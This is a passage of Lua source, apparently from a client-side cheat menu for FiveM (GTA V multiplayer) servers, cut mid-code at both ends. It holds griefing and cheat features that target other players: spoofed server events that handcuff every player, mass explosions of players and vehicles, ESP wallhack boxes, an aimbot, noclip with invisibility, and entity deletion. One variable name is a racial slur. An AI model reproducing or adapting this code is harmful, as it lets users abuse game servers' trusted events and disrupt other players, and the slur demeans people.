  4589. 255
  4590. )
  4591. end
  4592. end
  4593. end
  4594. end
  4595. end
  4596. end
  4597.  
  4598. if crosshair2 then
  4599. ch("~r~+",0.495,0.484)
  4600. end
  4601.  
  4602. if crosshair3 then
  4603. ch("~r~.",0.4968,0.478)
  4604. end
  4605.  
  4606. local niggerVehicle = GetVehiclePedIsIn(PlayerPedId(), false)
  4607.  
  4608. if fall then
  4609. for i = 0, 128 do
  4610. ClearPedTasksImmediately(GetPlayerPed(i))
  4611. end
  4612. end
  4613.  
  4614. if freezeall then
  4615. for i = 0, 128 do
  4616. TriggerServerEvent("OG_cuffs:cuffCheckNearest", GetPlayerServerId(i))
  4617. TriggerServerEvent("CheckHandcuff", GetPlayerServerId(i))
  4618. TriggerServerEvent("cuffServer", GetPlayerServerId(i))
  4619. TriggerServerEvent("cuffGranted", GetPlayerServerId(i))
  4620. TriggerServerEvent("police:cuffGranted", GetPlayerServerId(i))
  4621. TriggerServerEvent("esx_handcuffs:cuffing", GetPlayerServerId(i))
  4622. TriggerServerEvent("esx_policejob:handcuff", GetPlayerServerId(i))
  4623. end
  4624. end
  4625.  
  4626. if blowall then
  4627. for i = 0, 128 do
  4628. local ped = GetPlayerPed(i)
  4629. local coords = GetEntityCoords(ped)
  4630. AddExplosion(coords.x, coords.y, coords.z, 4, 100.0, false, true, 0.0, false)
  4631. end
  4632. end
  4633.  
  4634. if sall then
  4635. for i = 0, 128 do
  4636. local ped = GetPlayerPed(i)
  4637. local coords = GetEntityCoords(ped)
  4638. local vehiclehash = GetHashKey("savage")
  4639. RequestModel(vehiclehash)
  4640. CreateVehicle(vehiclehash, coords.x, coords.y, coords.z, GetEntityHeading(ped), 1, 0)
  4641. end
  4642. end
  4643.  
  4644. if IsPedInAnyVehicle(PlayerPedId()) then
  4645. if driftMode then
  4646. SetVehicleGravityAmount(niggerVehicle, 5.0)
  4647. elseif not superGrip and not enchancedGrip and not fdMode and not driftMode then
  4648. SetVehicleGravityAmount(niggerVehicle, 10.0)
  4649. end
  4650.  
  4651.  
  4652. if superGrip then
  4653. SetVehicleGravityAmount(niggerVehicle, 20.0)
  4654. elseif not superGrip and not enchancedGrip and not fdMode and not driftMode then
  4655. SetVehicleGravityAmount(niggerVehicle, 10.0)
  4656. end
  4657.  
  4658. if enchancedGrip then
  4659. SetVehicleGravityAmount(niggerVehicle, 12.0)
  4660. elseif not superGrip and not enchancedGrip and not fdMode and not driftMode then
  4661. SetVehicleGravityAmount(niggerVehicle, 10.0)
  4662. end
  4663.  
  4664. if fdMode then
  4665. SetVehicleGravityAmount(niggerVehicle, 5.5)
  4666. SetVehicleEngineTorqueMultiplier(niggerVehicle, 4.0)
  4667. elseif not superGrip and not enchancedGrip and not fdMode and not driftMode then
  4668. SetVehicleGravityAmount(niggerVehicle, 10.0)
  4669. SetVehicleEngineTorqueMultiplier(niggerVehicle, 1.0)
  4670. end
  4671.  
  4672. if t2x then
  4673. SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),2.0)
  4674. end
  4675.  
  4676. if t4x then
  4677. SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),4.0)
  4678. end
  4679.  
  4680. if t8x then
  4681. SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),8.0)
  4682. end
  4683.  
  4684. if t16x then
  4685. SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),16.0)
  4686. end
  4687. end
  4688.  
  4689.  
  4690. if Noclip then
  4691. local noclip_speed = 1.0
  4692. local ped = GetPlayerPed(-1)
  4693. local x,y,z = getPosition()
  4694. local dx,dy,dz = getCamDirection()
  4695. local speed = noclip_speed
  4696. SetEntityVisible(GetPlayerPed(-1), false, false)
  4697. SetEntityInvincible(GetPlayerPed(-1), true)
  4698. SetEntityVisible(ped, false);
  4699.  
  4700. SetEntityVelocity(ped, 0.0001, 0.0001, 0.0001)
  4701. if IsControlPressed(0, 21) then
  4702. speed = speed + 3
  4703. end
  4704. if IsControlPressed(0, 19) then
  4705. speed = speed - 0.5
  4706. end
  4707. if IsControlPressed(0,32) then
  4708. x = x+speed*dx
  4709. y = y+speed*dy
  4710. z = z+speed*dz
  4711. end
  4712.  
  4713.  
  4714. if IsControlPressed(0,269) then
  4715. x = x-speed*dx
  4716. y = y-speed*dy
  4717. z = z-speed*dz
  4718. end
  4719. SetEntityCoordsNoOffset(ped,x,y,z,true,true,true)
  4720. else
  4721. SetEntityVisible(GetPlayerPed(-1), true, false)
  4722. SetEntityInvincible(GetPlayerPed(-1), false)
  4723.  
  4724. end
  4725.  
  4726. if WADOHWIB then
  4727. local gotEntity = getEntity(PlayerId())
  4728. if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false) then
  4729. drawNotification("Aim Your Gun At An Entity And Shoot!")
  4730. GiveWeaponToPed(GetPlayerPed(-1), GetHashKey("WEAPON_PISTOL"), 999999, false, true)
  4731. SetPedAmmo(GetPlayerPed(-1), GetHashKey("WEAPON_PISTOL"), 999999)
  4732. if (GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey("WEAPON_PISTOL")) then
  4733. if IsPlayerFreeAiming(PlayerId()) then
  4734. if IsEntityAPed(gotEntity) then
  4735. if IsPedInAnyVehicle(gotEntity, true) then
  4736. if IsControlJustReleased(1, 142) then
  4737. SetEntityAsMissionEntity(GetVehiclePedIsIn(gotEntity, true), 1, 1)
  4738. DeleteEntity(GetVehiclePedIsIn(gotEntity, true))
  4739. SetEntityAsMissionEntity(gotEntity, 1, 1)
  4740. DeleteEntity(gotEntity)
  4741. drawNotification("~r~FUCKED")
  4742. end
  4743. else
  4744. if IsControlJustReleased(1, 142) then
  4745. SetEntityAsMissionEntity(gotEntity, 1, 1)
  4746. DeleteEntity(gotEntity)
  4747. drawNotification("~r~FUCKED")
  4748. end
  4749. end
  4750. else
  4751. if IsControlJustReleased(1, 142) then
  4752. SetEntityAsMissionEntity(gotEntity, 1, 1)
  4753. DeleteEntity(gotEntity)
  4754. drawNotification("~r~FUCKED!")
  4755. end
  4756. end
  4757. end
  4758. end
  4759. end
  4760. end
  4761. if destroyvehicles then
  4762. for vehicle in EnumerateVehicles() do
  4763. if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
  4764. NetworkRequestControlOfEntity(vehicle)
  4765. SetVehicleUndriveable(vehicle, true)
  4766. SetVehicleEngineHealth(vehicle, 0)
  4767. end
  4768. end
  4769. end
  4770. if explodevehicles then
  4771. for vehicle in EnumerateVehicles() do
  4772. if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false)) and (not GotTrailer or (GotTrailer and vehicle ~= TrailerHandle)) then
  4773. NetworkRequestControlOfEntity(vehicle)
  4774. NetworkExplodeVehicle(vehicle, true, true, false)
  4775. end
  4776. end
  4777. end
  4778.  
  4779. if esp then
  4780. for i = 0, 128 do
  4781. if i ~= PlayerId(-1) and GetPlayerServerId(i) ~= 0 then
  4782. local a8 = k(1.0)
  4783. local d7 = GetPlayerPed(i)
  4784. local d8, d9, da = table.unpack(GetEntityCoords(PlayerPedId(-1)))
  4785. local x, y, z = table.unpack(GetEntityCoords(d7))
  4786. local db =
  4787. '~h~Name: ' ..
  4788. GetPlayerName(i) ..
  4789. '\nServer ID: ' ..
  4790. GetPlayerServerId(i) ..
  4791. '\nPlayer ID: ' ..
  4792. i ..
  4793. '\nDist: ' ..
  4794. math.round(GetDistanceBetweenCoords(d8, d9, da, x, y, z, true), 1)
  4795. if IsPedInAnyVehicle(d7, true) then
  4796. local dc =
  4797. GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(d7))))
  4798. db = db .. '\nVeh: ' .. dc
  4799. end
  4800. if KDOWJDw and esp then
  4801. DrawText3D(x, y, z - 1.0, db, a8.r, a8.g, a8.b)
  4802. end
  4803. if jfjfjffuhguh and esp then
  4804. LineOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
  4805. LineOneEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
  4806. LineTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
  4807. LineTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
  4808. LineThreeBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
  4809. LineThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, -0.9)
  4810. LineFourBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
  4811. TLineOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
  4812. TLineOneEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
  4813. TLineTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
  4814. TLineTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
  4815. TLineThreeBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
  4816. TLineThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, 0.8)
  4817. TLineFourBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
  4818. ConnectorOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, 0.8)
  4819. ConnectorOneEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, -0.9)
  4820. ConnectorTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
  4821. ConnectorTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
  4822. ConnectorThreeBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
  4823. ConnectorThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
  4824. ConnectorFourBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
  4825. ConnectorFourEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
  4826. DrawLine(
  4827. LineOneBegin.x,
  4828. LineOneBegin.y,
  4829. LineOneBegin.z,
  4830. LineOneEnd.x,
  4831. LineOneEnd.y,
  4832. LineOneEnd.z,
  4833. a8.r,
  4834. a8.g,
  4835. a8.b,
  4836. 255
  4837. )
  4838. DrawLine(
  4839. LineTwoBegin.x,
  4840. LineTwoBegin.y,
  4841. LineTwoBegin.z,
  4842. LineTwoEnd.x,
  4843. LineTwoEnd.y,
  4844. LineTwoEnd.z,
  4845. a8.r,
  4846. a8.g,
  4847. a8.b,
  4848. 255
  4849. )
  4850. DrawLine(
  4851. LineThreeBegin.x,
  4852. LineThreeBegin.y,
  4853. LineThreeBegin.z,
  4854. LineThreeEnd.x,
  4855. LineThreeEnd.y,
  4856. LineThreeEnd.z,
  4857. a8.r,
  4858. a8.g,
  4859. a8.b,
  4860. 255
  4861. )
  4862. DrawLine(
  4863. LineThreeEnd.x,
  4864. LineThreeEnd.y,
  4865. LineThreeEnd.z,
  4866. LineFourBegin.x,
  4867. LineFourBegin.y,
  4868. LineFourBegin.z,
  4869. a8.r,
  4870. a8.g,
  4871. a8.b,
  4872. 255
  4873. )
  4874. DrawLine(
  4875. TLineOneBegin.x,
  4876. TLineOneBegin.y,
  4877. TLineOneBegin.z,
  4878. TLineOneEnd.x,
  4879. TLineOneEnd.y,
  4880. TLineOneEnd.z,
  4881. a8.r,
  4882. a8.g,
  4883. a8.b,
  4884. 255
  4885. )
  4886. DrawLine(
  4887. TLineTwoBegin.x,
  4888. TLineTwoBegin.y,
  4889. TLineTwoBegin.z,
  4890. TLineTwoEnd.x,
  4891. TLineTwoEnd.y,
  4892. TLineTwoEnd.z,
  4893. a8.r,
  4894. a8.g,
  4895. a8.b,
  4896. 255
  4897. )
  4898. DrawLine(
  4899. TLineThreeBegin.x,
  4900. TLineThreeBegin.y,
  4901. TLineThreeBegin.z,
  4902. TLineThreeEnd.x,
  4903. TLineThreeEnd.y,
  4904. TLineThreeEnd.z,
  4905. a8.r,
  4906. a8.g,
  4907. a8.b,
  4908. 255
  4909. )
  4910. DrawLine(
  4911. TLineThreeEnd.x,
  4912. TLineThreeEnd.y,
  4913. TLineThreeEnd.z,
  4914. TLineFourBegin.x,
  4915. TLineFourBegin.y,
  4916. TLineFourBegin.z,
  4917. a8.r,
  4918. a8.g,
  4919. a8.b,
  4920. 255
  4921. )
  4922. DrawLine(
  4923. ConnectorOneBegin.x,
  4924. ConnectorOneBegin.y,
  4925. ConnectorOneBegin.z,
  4926. ConnectorOneEnd.x,
  4927. ConnectorOneEnd.y,
  4928. ConnectorOneEnd.z,
  4929. a8.r,
  4930. a8.g,
  4931. a8.b,
  4932. 255
  4933. )
  4934. DrawLine(
  4935. ConnectorTwoBegin.x,
  4936. ConnectorTwoBegin.y,
  4937. ConnectorTwoBegin.z,
  4938. ConnectorTwoEnd.x,
  4939. ConnectorTwoEnd.y,
  4940. ConnectorTwoEnd.z,
  4941. a8.r,
  4942. a8.g,
  4943. a8.b,
  4944. 255
  4945. )
  4946. DrawLine(
  4947. ConnectorThreeBegin.x,
  4948. ConnectorThreeBegin.y,
  4949. ConnectorThreeBegin.z,
  4950. ConnectorThreeEnd.x,
  4951. ConnectorThreeEnd.y,
  4952. ConnectorThreeEnd.z,
  4953. a8.r,
  4954. a8.g,
  4955. a8.b,
  4956. 255
  4957. )
  4958. DrawLine(
  4959. ConnectorFourBegin.x,
  4960. ConnectorFourBegin.y,
  4961. ConnectorFourBegin.z,
  4962. ConnectorFourEnd.x,
  4963. ConnectorFourEnd.y,
  4964. ConnectorFourEnd.z,
  4965. a8.r,
  4966. a8.g,
  4967. a8.b,
  4968. 255
  4969. )
  4970. end
  4971. if jfjfjf and esp then
  4972. DrawLine(d8, d9, da, x, y, z, a8.r, a8.g, a8.b, 255)
  4973. end
  4974. end
  4975. end
  4976. end
  4977.  
  4978. if VehGod and IsPedInAnyVehicle(PlayerPedId(), true) then
  4979. SetEntityInvincible(GetVehiclePedIsUsing(PlayerPedId()), true)
  4980. end
  4981.  
  4982. if rainbowTint then
  4983. for i = 0, #allWeapons do
  4984. if HasPedGotWeapon(PlayerPedId(), GetHashKey(allWeapons[i])) then
  4985. SetPedWeaponTintIndex(PlayerPedId(), GetHashKey(allWeapons[i]), math.random(0, 7))
  4986. end
  4987. end
  4988. end
  4989.  
  4990. if showCoords then
  4991. kedtnyTylyxIBQelrCkvqcErxJSgyiqKheFarAEkWVPLbNAOWUgoFc,riNXBfISndxkHbIUAdmpVnQHstshQu48y34ELCNkcesVCDvoiVxmVwprvl,ammSjUXRjXNvlMInQTHlXzwzWoPngUdPOsHEjyNDnRVdonAJPmspFw = table.unpack(GetEntityCoords(GetPlayerPed(-1),true))
  4992. roundx=tonumber(string.format("%.2f",kedtnyTylyxIBQelrCkvqcErxJSgyiqKheFarAEkWVPLbNAOWUgoFc))
  4993. roundy=tonumber(string.format("%.2f",riNXBfISndxkHbIUAdmpVnQHstshQu48y34ELCNkcesVCDvoiVxmVwprvl))
  4994. roundz=tonumber(string.format("%.2f",ammSjUXRjXNvlMInQTHlXzwzWoPngUdPOsHEjyNDnRVdonAJPmspFw))
  4995. local playerPedsss = PlayerPedId()
  4996. roundzxx = GetEntityHeading(playerPedsss)
  4997. bf("~r~X:~s~ "..roundx,0.05,0.00)
  4998. bf("~r~Y:~s~ "..roundy,0.11,0.00)
  4999. bf("~r~Z:~s~ "..roundz,0.17,0.00)
  5000. bf("~r~H:~s~ "..roundzxx,0.23,0.00)
  5001. end
  5002.  
  5003. if bulletGun then
  5004. local startDistance = GetDistance(GetGameplayCamCoord(), GetEntityCoords(PlayerPedId(), true))
  5005. local endDistance = GetDistance(GetGameplayCamCoord(), GetEntityCoords(PlayerPedId(), true))
  5006. startDistance = startDistance + 0.25
  5007. endDistance = endDistance + 1000.0
  5008.  
  5009. if IsPedOnFoot(PlayerPedId()) and IsPedShooting(PlayerPedId()) then
  5010. local bullet = GetHashKey(bullets[selectedBullet])
  5011. if not HasWeaponAssetLoaded(bullet) then
  5012. RequestWeaponAsset(bullet, 31, false)
  5013. while not HasWeaponAssetLoaded(bullet) do
  5014. Citizen.Wait(0)
  5015. end
  5016. end
  5017. ShootSingleBulletBetweenCoords(add(GetGameplayCamCoord(), multiply(rotDirection(GetGameplayCamRot(0)), startDistance)).x, add(GetGameplayCamCoord(), multiply(rotDirection(GetGameplayCamRot(0)), startDistance)).y, add(GetGameplayCamCoord(), multiply(rotDirection(GetGameplayCamRot(0)), startDistance)).z, add(GetGameplayCamCoord(), multiply(rotDirection(GetGameplayCamRot(0)), endDistance)).x, add(GetGameplayCamCoord(), multiply(rotDirection(GetGameplayCamRot(0)), endDistance)).y, add(GetGameplayCamCoord(), multiply(rotDirection(GetGameplayCamRot(0)), endDistance)).z, 250, true, bullet, PlayerPedId(), true, false, -1.0)
  5018. end
  5019.  
  5020. end
  5021.  
  5022. if vehicleGun then
  5023. local heading = GetEntityHeading(PlayerPedId())
  5024. local model = GetHashKey(vehicles[selectedVehicle])
  5025. local rot = GetGameplayCamRot(0)
  5026. local dir = RotToDirection(rot)
  5027. local camPosition = GetGameplayCamCoord()
  5028. local playerPosition = GetEntityCoords(PlayerPedId(), true)
  5029. local spawnDistance = GetDistance(camPosition, playerPosition)
  5030. spawnDistance = spawnDistance + 5
  5031. local spawnPosition = add(camPosition, multiply(dir, spawnDistance))
  5032.  
  5033. RequestModel(model)
  5034. while not HasModelLoaded(model) do
  5035. debugPrint("Loading Model...")
  5036. Citizen.Wait(0)
  5037. end
  5038.  
  5039. if HasModelLoaded(model) then
  5040. if IsPedShooting(PlayerPedId()) then
  5041. if IsPedOnFoot(PlayerPedId()) then
  5042. local veh = CreateVehicle(model, spawnPosition.x, spawnPosition.y, spawnPosition.z, heading, true, true)
  5043. SetVehicleForwardSpeed(veh, 120.0)
  5044. SetModelAsNoLongerNeeded(model)
  5045. SetVehicleAsNoLongerNeeded(veh)
  5046. end
  5047. end
  5048. end
  5049. end
  5050.  
  5051. if pedGun then
  5052. local heading = GetEntityHeading(PlayerPedId())
  5053. local rot = GetGameplayCamRot(0)
  5054. local dir = RotToDirection(rot)
  5055. local camPosition = GetGameplayCamCoord()
  5056. local playerPosition = GetEntityCoords(PlayerPedId(), true)
  5057. local spawnDistance = GetDistance(camPosition, playerPosition)
  5058. spawnDistance = spawnDistance + 5
  5059. local spawnPosition = add(camPosition, multiply(dir, spawnDistance))
  5060.  
  5061. local model = GetHashKey(peds[selectedPed])
  5062.  
  5063. RequestModel(model)
  5064. while not HasModelLoaded(model) do
  5065. Citizen.Wait(0)
  5066. end
  5067.  
  5068. if HasModelLoaded(model) then
  5069. if IsPedShooting(PlayerPedId()) then
  5070. local spawnedPed = CreatePed(26, model, spawnPosition.x, spawnPosition.y, spawnPosition.z, heading, true, true)
  5071. SetEntityRecordsCollisions(spawnedPed, true)
  5072. for f = 0.0, 75.0 do
  5073. if HasEntityCollidedWithAnything(spawnedPed) then break end
  5074. ApplyForceToEntity(spawnedPed, 1, dir.x * 10.0, dir.y * 10.0, dir.z * 10.0, 0.0, 0.0, 0.0, false, false, true, true, false, true)
  5075. end
  5076. end
  5077. end
  5078. end
  5079.  
  5080. if forceGun then
  5081. local rot = GetGameplayCamRot(0)
  5082. local dir = RotToDirection(rot)
  5083. local heading = GetEntityHeading(PlayerPedId())
  5084. if IsPedShooting(PlayerPedId()) then
  5085. local aiming, entity = GetEntityPlayerIsFreeAimingAt(PlayerId())
  5086. if aiming then
  5087. if IsPedInAnyVehicle(entity) then
  5088. local veh = GetVehiclePedIsUsing(entity)
  5089. DeleteEntity(entity)
  5090. SetEntityHeading(veh, heading)
  5091. SetVehicleForwardSpeed(veh, 150.0)
  5092. else
  5093. for i = 0, 10 do
  5094. ApplyForceToEntity(entity, 1, dir.x * 10.0, dir.y * 10.0, dir.z * 10.0, 0.0, 0.0, 0.0, false, false, true, true, false, true)
  5095. end
  5096. end
  5097. end
  5098. end
  5099. end
  5100.  
  5101. if IsControlPressed(0, 323) and DoesEntityExist(Deer.Handle) then
  5102. Deer.Destroy()
  5103. end
  5104.  
  5105. if bifegfubffff then
  5106. local impact, coords = GetPedLastWeaponImpactCoord(PlayerPedId())
  5107. if impact then
  5108. AddExplosion(coords.x, coords.y, coords.z, 2, 100000.0, true, false, 0)
  5109. end
  5110. end
  5111.  
  5112. if rainbow then
  5113. local color = k(1.0)
  5114. for i = 0, #allMenus do
  5115. RichRevolution.SetSpriteColor(allMenus[i], color.r, color.g, color.b, 255)
  5116. end
  5117. for i, dA in pairs(bd) do
  5118. RichRevolution.SetSpriteColor(dA.id, color.r, color.g, color.b, 255)
  5119. end
  5120. for i, dA in pairs(be) do
  5121. RichRevolution.SetSpriteColor(dA.id, color.r, color.g, color.b, 255)
  5122. end
  5123. end
  5124.  
  5125. if animated then
  5126. Citizen.Wait(50)
  5127. for i = 0, #allMenus do
  5128. RichRevolution.SetTitleBackgroundSprite(allMenus[i], "digitaloverlay", "signal1")
  5129. end
  5130. for i, dA in pairs(bd) do
  5131. RichRevolution.SetTitleBackgroundSprite(dA.id, "digitaloverlay", "signal1")
  5132.  
  5133. end
  5134. for i, dA in pairs(be) do
  5135. RichRevolution.SetTitleBackgroundSprite(dA.id, "digitaloverlay", "signal1")
  5136.  
  5137. end
  5138. Citizen.Wait(50)
  5139. for i = 0, #allMenus do
  5140. RichRevolution.SetTitleBackgroundSprite(allMenus[i], "digitaloverlay", "signal2")
  5141. end
  5142. for i, dA in pairs(bd) do
  5143. RichRevolution.SetTitleBackgroundSprite(dA.id, "digitaloverlay", "signal2")
  5144.  
  5145. end
  5146. for i, dA in pairs(be) do
  5147. RichRevolution.SetTitleBackgroundSprite(dA.id, "digitaloverlay", "signal2")
  5148.  
  5149. end
  5150. Citizen.Wait(50)
  5151. for i = 0, #allMenus do
  5152. RichRevolution.SetTitleBackgroundSprite(allMenus[i], "digitaloverlay", "signal3")
  5153. end
  5154. for i, dA in pairs(bd) do
  5155. RichRevolution.SetTitleBackgroundSprite(dA.id, "digitaloverlay", "signal3")
  5156.  
  5157. end
  5158. for i, dA in pairs(be) do
  5159. RichRevolution.SetTitleBackgroundSprite(dA.id, "digitaloverlay", "signal3")
  5160.  
  5161. end
  5162. Citizen.Wait(50)
  5163. for i = 0, #allMenus do
  5164. RichRevolution.SetTitleBackgroundSprite(allMenus[i], "digitaloverlay", "signal4")
  5165. end
  5166. for i, dA in pairs(bd) do
  5167. RichRevolution.SetTitleBackgroundSprite(dA.id, "digitaloverlay", "signal4")
  5168.  
  5169. end
  5170. for i, dA in pairs(be) do
  5171. RichRevolution.SetTitleBackgroundSprite(dA.id, "digitaloverlay", "signal4")
  5172.  
  5173. end
  5174. end
  5175.  
  5176. if explosiveAmmo then
  5177. local impact1, coords = GetPedLastWeaponImpactCoord(PlayerPedId())
  5178. if impact1 then
  5179. AddExplosion(coords.x, coords.y, coords.z, 2, 100000.0, true, false, 0)
  5180. Citizen.Wait(200)
  5181. AddExplosion(coords.x, coords.y, coords.z, 2, 100000.0, true, false, 0)
  5182. Citizen.Wait(200)
  5183. AddExplosion(coords.x, coords.y, coords.z, 2, 100000.0, true, false, 0)
  5184. Citizen.Wait(150)
  5185. AddExplosion(coords.x, coords.y, coords.z, 2, 100000.0, true, false, 0)
  5186. Citizen.Wait(150)
  5187. AddExplosion(coords.x, coords.y, coords.z, 2, 100000.0, true, false, 0)
  5188. end
  5189. end
  5190.  
  5191. if RainbowVeh then
  5192. local u48y34 = k(1.0)
  5193. SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId(-1)), u48y34.r, u48y34.g, u48y34.b)
  5194. SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId(-1)), u48y34.r, u48y34.g, u48y34.b)
  5195. end
  5196.  
  5197. if ou328hSync then
  5198. local u48y34 = k(1.0)
  5199. local ped = PlayerPedId()
  5200. local veh = GetVehiclePedIsUsing(ped)
  5201. SetVehicleNeonLightEnabled(veh, 0, true)
  5202. SetVehicleNeonLightEnabled(veh, 0, true)
  5203. SetVehicleNeonLightEnabled(veh, 1, true)
  5204. SetVehicleNeonLightEnabled(veh, 2, true)
  5205. SetVehicleNeonLightEnabled(veh, 3, true)
  5206. SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId(-1)), u48y34.r, u48y34.g, u48y34.b)
  5207. SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId(-1)), u48y34.r, u48y34.g, u48y34.b)
  5208. SetVehicleNeonLightsColour(GetVehiclePedIsUsing(PlayerPedId(-1)), u48y34.r, u48y34.g, u48y34.b)
  5209. end
  5210.  
  5211.  
  5212. if ou328hNeon then
  5213. local u48y34 = k(1.0)
  5214. local ped = PlayerPedId()
  5215. local veh = GetVehiclePedIsUsing(ped)
  5216. SetVehicleNeonLightEnabled(veh, 0, true)
  5217. SetVehicleNeonLightEnabled(veh, 0, true)
  5218. SetVehicleNeonLightEnabled(veh, 1, true)
  5219. SetVehicleNeonLightEnabled(veh, 2, true)
  5220. SetVehicleNeonLightEnabled(veh, 3, true)
  5221. SetVehicleNeonLightsColour(GetVehiclePedIsUsing(PlayerPedId(-1)), u48y34.r, u48y34.g, u48y34.b)
  5222. end
  5223.  
  5224. if LOJWDNDDNDN then
  5225. local u48y34 = k(1.0)
  5226. local ped = PlayerPedId()
  5227. local veh = GetVehiclePedIsUsing(ped)
  5228. SetVehicleDirtLevel(veh, 1.0)
  5229. else
  5230. end
  5231.  
  5232. if CLEAR then
  5233. SetWeatherTypePersist("CLEAR")
  5234. SetWeatherTypeNowPersist("CLEAR")
  5235. SetWeatherTypeNow("CLEAR")
  5236. SetOverrideWeather("CLEAR")
  5237. end
  5238.  
  5239. if BLIZZARD then
  5240. SetWeatherTypePersist("BLIZZARD")
  5241. SetWeatherTypeNowPersist("BLIZZARD")
  5242. SetWeatherTypeNow("BLIZZARD")
  5243. SetOverrideWeather("BLIZZARD")
  5244. end
  5245.  
  5246. if FOGGY then
  5247. SetWeatherTypePersist("FOGGY")
  5248. SetWeatherTypeNowPersist("FOGGY")
  5249. SetWeatherTypeNow("FOGGY")
  5250. SetOverrideWeather("FOGGY")
  5251. end
  5252.  
  5253. if EXTRASUNNY then
  5254. SetWeatherTypePersist("EXTRASUNNY")
  5255. SetWeatherTypeNowPersist("EXTRASUNNY")
  5256. SetWeatherTypeNow("EXTRASUNNY")
  5257. SetOverrideWeather("EXTRASUNNY")
  5258. end
  5259.  
  5260. if XMAS then
  5261. SetForceVehicleTrails(true)
  5262. SetForcePedFootstepsTracks(true)
  5263. SetWeatherTypePersist("XMAS")
  5264. SetWeatherTypeNowPersist("XMAS")
  5265. SetWeatherTypeNow("XMAS")
  5266. SetOverrideWeather("XMAS")
  5267. end
  5268.  
  5269. if LOJ38 then
  5270. for i = 0, 128 do
  5271. if i ~= PlayerId() then
  5272. if IsPlayerFreeAiming(PlayerId()) then
  5273. local TargetPed = GetPlayerPed(i)
  5274. local TargetPos = GetEntityCoords(TargetPed)
  5275. local Exist = DoesEntityExist(TargetPed)
  5276. local Dead = IsPlayerDead(TargetPed)
  5277.  
  5278. if Exist and not Dead then
  5279. local OnScreen, ScreenX, ScreenY = World3dToScreen2d(TargetPos.x, TargetPos.y, TargetPos.z, 0)
  5280. if IsEntityVisible(TargetPed) and OnScreen then
  5281. if HasEntityClearLosToEntity(PlayerPedId(), TargetPed, 10000) then
  5282. local TargetCoords = GetPedBoneCoords(TargetPed, 31086, 0, 0, 0)
  5283. SetPedShootsAtCoord(PlayerPedId(), TargetCoords.x, TargetCoords.y, TargetCoords.z, 1)
  5284. end
  5285. end
  5286. end
  5287. end
  5288. end
  5289. end
  5290. end
  5291.  
  5292. if IsControlJustReleased(0, Keys['X']) then
  5293. ClearPedTasks(PlayerPedId())
  5294. end
  5295.  
  5296. if Nigubdddddd then
  5297. local veh = GetVehiclePedIsUsing(PlayerPedId(-1))
  5298. if IsControlPressed(0, 232) then
  5299. SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)), 100.0)
  5300. end
  5301. if veh ~= nil then
  5302. SetVehicleHandlingFloat(veh, "CHandlingData", "fMass", 15000000.0);
  5303. SetVehicleHandlingFloat(veh, "CHandlingData", "fInitialDragCoeff", 10.0);
  5304. SetVehicleHandlingFloat(veh, "CHandlingData", "fInitialDriveMaxFlatVel", 1000.0);
  5305. SetVehicleHandlingFloat(veh, "CHandlingData", "fDriveBiasFront", 0.50);
  5306. SetVehicleHandlingFloat(veh, "CHandlingData", "fTractionCurveMax", 4.5);
  5307. SetVehicleHandlingFloat(veh, "CHandlingData", "fTractionCurveMin", 4.38);
  5308. SetVehicleHandlingFloat(veh, "CHandlingData", "fBrakeForce", 5.00);
  5309. SetVehicleHandlingFloat(veh, "CHandlingData", "fEngineDamageMult", 0.50);
  5310. SetVehicleHandlingFloat(veh, "CHandlingData", "fSteeringLock", 65.00);
  5311. SetVehicleHandlingFloat(veh, "CHandlingData", "fRollCentreHeightFront", 0.80);
  5312. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(PlayerPedId(-1), false), 36.0)
  5313. SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(PlayerPedId(-1), false), 60.0);
  5314. end
  5315. end
  5316.  
  5317. if VehSpeed and IsPedInAnyVehicle(PlayerPedId(-1), true) then
  5318. if IsControlPressed(0, 209) then
